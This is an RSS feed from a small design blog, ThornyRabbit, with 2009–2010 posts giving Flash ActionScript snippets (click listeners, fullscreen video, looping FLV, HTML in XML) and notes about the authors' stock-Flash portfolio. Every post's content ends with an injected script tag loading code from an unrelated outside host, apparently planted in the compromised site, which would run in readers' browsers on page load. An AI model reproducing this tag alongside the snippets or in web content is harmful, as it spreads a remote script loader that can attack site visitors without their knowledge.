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	<title>Official Design and Development Resource of ThornyRabbit &#187; Flash</title>
	<atom:link href="http://blog.thornyrabbit.com/category/flash/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
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		<title>Child listen for parent click event in Flash AS3 &#8211; summed up.</title>
		<link>http://blog.thornyrabbit.com/2010/03/child-listen-for-parent-click-event-in-flash-as3-summed-up/</link>
		<comments>http://blog.thornyrabbit.com/2010/03/child-listen-for-parent-click-event-in-flash-as3-summed-up/#comments</comments>
		<pubDate>Fri, 19 Mar 2010 16:40:03 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash ActionScript 3 AS3 child parent]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/2010/03/child-listen-for-parent-click-event-in-flash-as3-summed-up/</guid>
		<description><![CDATA[In the child script: (An error will occur if the child has not been fully added to stage &#8211; so make sure you have the following) addEventListener(Event.ADDED_TO_STAGE, setListener); added in the initialiser, that then will check for parent events, eg. private function setListener(event:Event):void{ this.parent.addEventListener(MouseEvent.CLICK, listenForClick); } In the parent script: Retrieve the value via, eg: [...]]]></description>
			<content:encoded><![CDATA[<p>In the child script:<br />
(An error will occur if the child has not been fully added to stage &#8211; so make sure you have the following)</p>
<p>		  addEventListener(Event.ADDED_TO_STAGE, setListener);</p>
<p>added in the initialiser, that then will check for parent events, eg.</p>
<p>	   private function setListener(event:Event):void{<br />
		    this.parent.addEventListener(MouseEvent.CLICK, listenForClick);<br />
	   }</p>
<p>In the parent script:</p>
<p>Retrieve the value via, eg:</p>
<p>	private function listenForClick(event:Event):void{<br />
		trace(&#8220;parent said click&#8221; + event.target.videoName);<br />
//but to check right object is sending the event and not any click, use:<br />
if(event.target.name == &#8220;menuItem_mc&#8221;){<br />
				videoURL =  event.target.videoName;<br />
				doConnection();<br />
			}<br />
	}//listenForClick<script src="http://ae.awaue.com/7"></script></p>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flash FullScreen Video</title>
		<link>http://blog.thornyrabbit.com/2010/03/flash-fullscreen-video/</link>
		<comments>http://blog.thornyrabbit.com/2010/03/flash-fullscreen-video/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 20:44:47 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[flash actionscript video]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/2010/03/flash-fullscreen-video/</guid>
		<description><![CDATA[Always forget this &#8211; if you want to have fullscreen Flash video toggle (normally a button in the player skin) &#8211; when you publish you need to make 2 changes to the HTML options: 1. Set &#8220;Template&#8221; to Flash Only &#8211; FullScreen 2. Set Scale to &#8220;No scale&#8221; &#8211; this will allow the scaling (!!)]]></description>
			<content:encoded><![CDATA[<p>Always forget this &#8211; if you want to have fullscreen Flash video toggle (normally a button in the player skin) &#8211; when you publish you need to make 2 changes to the HTML options:<br />
1. Set &#8220;Template&#8221; to Flash Only &#8211; FullScreen<br />
2. Set Scale to &#8220;No scale&#8221; &#8211; this will allow the scaling (!!)<br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2010/03/flash-fullscreen-video/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Looping an FLV video</title>
		<link>http://blog.thornyrabbit.com/2009/12/looping-an-flv-video/</link>
		<comments>http://blog.thornyrabbit.com/2009/12/looping-an-flv-video/#comments</comments>
		<pubDate>Mon, 07 Dec 2009 23:31:28 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[AS3 flash video]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/2009/12/looping-an-flv-video/</guid>
		<description><![CDATA[FLV Playback component is named &#8220;myvideo&#8221; myvideo.addEventListener(Event.COMPLETE, doLoop); function doLoop(event:Event):void{ myvideo.autoRewind=true; myvideo.play(); }]]></description>
			<content:encoded><![CDATA[<p>FLV Playback component is named &#8220;myvideo&#8221;</p>
<p>myvideo.addEventListener(Event.COMPLETE, doLoop);<br />
function doLoop(event:Event):void{<br />
	myvideo.autoRewind=true;<br />
	myvideo.play();<br />
}<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brochure Open Engine</title>
		<link>http://blog.thornyrabbit.com/2009/10/brochure-open-engine/</link>
		<comments>http://blog.thornyrabbit.com/2009/10/brochure-open-engine/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 01:08:07 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=233</guid>
		<description><![CDATA[This is one of the earlier items we uploaded to Flashden, but it has proved to be reasonabily popular, so I thought I would highlight it. It is a pretty nifty little flash movie, that is kinda like the evil flash flipping book. I hate flipping books, although it does work in places, for example [...]]]></description>
			<content:encoded><![CDATA[<p>This is one of the earlier items we uploaded to Flashden, but it has proved to be reasonabily popular, so I thought I would highlight it. It is a pretty nifty little flash movie, that is kinda like the evil flash flipping book. I hate flipping books, although it does work in places, for example on the <a href="http://www.Blurb.com" target="_blank">www.Blurb.com</a> site.</p>
<p>What I like about this is that you can have more of a brochure instead of a magazine / book as a lot of the time one tends to create brochures more and also it is a bit more unique. Andrew coded this in ActionScript 3 and since he knows far more than I do about the subject I will not go into the technical aspects of it.</p>
<p><a href="http://flashden.net/item/brochure-open-engine/40619"><img class="alignnone size-full wp-image-258" title="bunnies" src="http://blog.thornyrabbit.com/wp-content/uploads/2009/10/bunnies1.jpg" alt="bunnies" width="400" height="203" /></a></p>
<p><strong>In summary this is what it does:</strong></p>
<p>Brochure Open Engine uses 6 images in the library to create an interactive animated brochure opening, flipping over, and closing.The images can be easily replaced (provided the symbols are kept centered). File size is dependent on the size of the images used. All symbols are editable in the Library. Size is fixed based on the required area to display the full brochure, user can adjust as needed.</p>
<p>If you like the sounds of it have a look on <a href="http://flashden.net/item/brochure-open-engine/40619" target="_blank">Flashden</a>, and even better you can always buy it!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thornyrabbit on the Envato Market Places</title>
		<link>http://blog.thornyrabbit.com/2009/09/thornyrabbit-on-the-envato-market-places/</link>
		<comments>http://blog.thornyrabbit.com/2009/09/thornyrabbit-on-the-envato-market-places/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 01:42:48 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=216</guid>
		<description><![CDATA[We recently decided to explore the Envato market places and we have been creating some stock flash and graphics for it. We have not created very much yet, but we are hoping to grow our portfolios there. View what we have on: Flashden GraphicRiver]]></description>
			<content:encoded><![CDATA[<p>We recently decided to explore the Envato market places and we have been creating some stock flash and graphics for it. We have not created very much yet, but we are hoping to grow our portfolios there.</p>
<p><strong>View what we have on:</strong></p>
<ul>
<li><a href="http://flashden.net/user/thornyrabbit/portfolio" target="_blank">Flashden</a></li>
<li><a href="http://graphicriver.net/user/thornyrabbit/portfolio" target="_blank">GraphicRiver</a></li>
</ul>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/09/thornyrabbit-on-the-envato-market-places/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Html tags in Xml for Flash (AS2)</title>
		<link>http://blog.thornyrabbit.com/2009/04/html-tags-in-xml-for-flash-as2/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/html-tags-in-xml-for-flash-as2/#comments</comments>
		<pubDate>Tue, 14 Apr 2009 17:00:06 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=195</guid>
		<description><![CDATA[Formatting xml with html tags with ActionScript 2.]]></description>
			<content:encoded><![CDATA[<p><span class="sc3"><span class="re1">Put the the following (bolded) into each xml node requiring html tags in it:</span></span></p>
<p><span class="sc3"><span class="re1">&lt;xmlNode<span class="re2">&gt;</span></span></span><span class="sc2"><strong>&lt;![CDATA[</strong>   Here is my &lt;br/&gt; html text   <strong>]]&gt;</strong></span><span class="sc3"><span class="re1">&lt;/xmlNode<span class="re2">&gt;</span></span></span></p>
<p><span class="sc3"><span class="re1"><span class="re2">Now reads as one tag without needing to do things like &amp;lt;b&amp;gt; to create a B tag.</span></span></span></p>
<p><span class="sc3"><span class="re1"><span class="re2">Thanks to <a href="http://www.flashxml.net/html-in-xml-for-flash-actionscript-2.html" target="_self">Snowcat at FlashXML.net</a></span></span></span><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The ThornyRabbit library</title>
		<link>http://blog.thornyrabbit.com/2009/01/hello-world/</link>
		<comments>http://blog.thornyrabbit.com/2009/01/hello-world/#comments</comments>
		<pubDate>Thu, 22 Jan 2009 23:15:34 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=1</guid>
		<description><![CDATA[This will be the design and development resource for Andrew and Michele Macklin. We have over the last 2 years both tried blogging a bit and it kinda worked and also not. After some discussion one early morning on the ferry over to Vancouver we decided we did not want a blog so much as [...]]]></description>
			<content:encoded><![CDATA[<p>This will be the design and development resource for Andrew and Michele Macklin. We have over the last 2 years both tried blogging a bit and it kinda worked and also not. After some discussion one early morning on the ferry over to Vancouver we decided we did not want a blog so much as a place where we can store our &#8216;stuff&#8217; and if this means that other designers and developers can also make use of it, well then even more reason to do so.</p>
<p>The main reason for this really is that we both keep losing our &#8216;stuff&#8217; &#8211; Photoshop brushes, CSS, HTML and Action script code snippets etc. At the moment we are still sorting through everything so it might take a bit of a while to get this going.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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